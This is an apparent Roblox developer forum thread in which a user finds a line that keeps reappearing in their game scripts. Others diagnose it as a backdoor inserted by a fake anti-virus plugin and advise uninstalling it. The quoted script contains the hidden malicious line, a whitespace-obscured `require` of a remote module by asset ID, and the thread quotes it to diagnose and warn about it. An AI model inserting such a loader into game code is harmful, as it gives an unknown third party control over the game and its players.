Hi again. I think my game might be infected with some kind of virus and I don’t know where it comes from. It basically adds lines to my code (see example below) everytime I open studio. Even when I delete them, and later close studio, they pop back up when I reopen it (yes I saved my game after deleting the lines). Here is what pops up (the only line that matters is the last one, the rest of the script works fine). Also somehow this “virus” doesn’t seem to be changing the way any of my scripts work and isn’t doing anything… Does anyone know what it is?
local StarterGui = game:GetService("StarterGui")
game.ReplicatedStorage.ResetStats.OnServerEvent:Connect(function(player)
player.leaderstats.Points.Value = 0
player.leaderstats.Deaths.Value = 0
player.leaderstats.Activations.Value = 0
player.leaderstats.Wins.Value = 0
end) -- See line under and scroll
--ITS ON THIS LINE --[[ --]] pcall(function()require(4850721608):Fire()end)
-- ^^^
-- see line above and scroll to the middle, I think they meant to hide it well.
-- vvv Use the scroll bar under this line to get to "hack"
Are you referring to the indentation, I’m not 100% sure what you are mentioning? Also to point out that your event isn’t properly secured so it’s vulnerable to be used by exploiters
I see it fully now, this is a malicious script that someone has added into your game, as @FlashFlame_Roblox has also mentioned, if you have team create on, have you committed to the server or tried making a new script instance and paste all of your code just without that line?
No, I don’t think I did. Although I downloaded this virus identifier which had a weird description. Other than that I added a Soft Shutdown script which Alvin Blox recommended and the rest of my plugins are safe since I got them from either Alvin blox’s channel or I verified their intentions etc…
That’s a backdoor that someone put within your script. The require function connects you with a module script, and that module script may contain malicious code. You can check the module script itself if it contains any malicious code. (The module script is what it’s requiring, which is https://www.roblox.com/library/4850721608/Anti-Exploit-Module as mentioned by @FlashFlame_Roblox )
Obviously, they included a lot of spaces trying to hide it from you, so it’s likely to be something bad. I suggest you remove it.
I know some anti-virus plugins are in-themselves vulnerabilities which add requires to scripts or insert malicious scripts, I would uninstall this plugin then do as you did before by removing the part and publishing.
Its description also raised re dflags to me although what made me install it is the fact that it claimed to have 431,000 downloads… The description also says that it got downvoted by this other virus claiming to be them…
Here is a list of my current pluggins. Which ones do you think are safe or not? I got them all from either Roblox articles or Alvin Blox vids, except for the Virus scanner.
I am 100% sure that the anti virus plugin is the plugin that is the only malicious one, you got these plugins from trusted sources so there should be nothing to worry about other than that anti virus plugin, so uninstall that one.
Thank you guys for your help! please help me report this malware since it appears to be on the FIRST PAGE of Roblox Pluggins. Please do not fall for it like me. I thought it was safe because I have this Chrome extension that tells me how many sale an item has, and this one appears to have 438,000!!! 438,000 bots or people that fell for this trick… By the way, the account that owns the pluggin has been terminated.
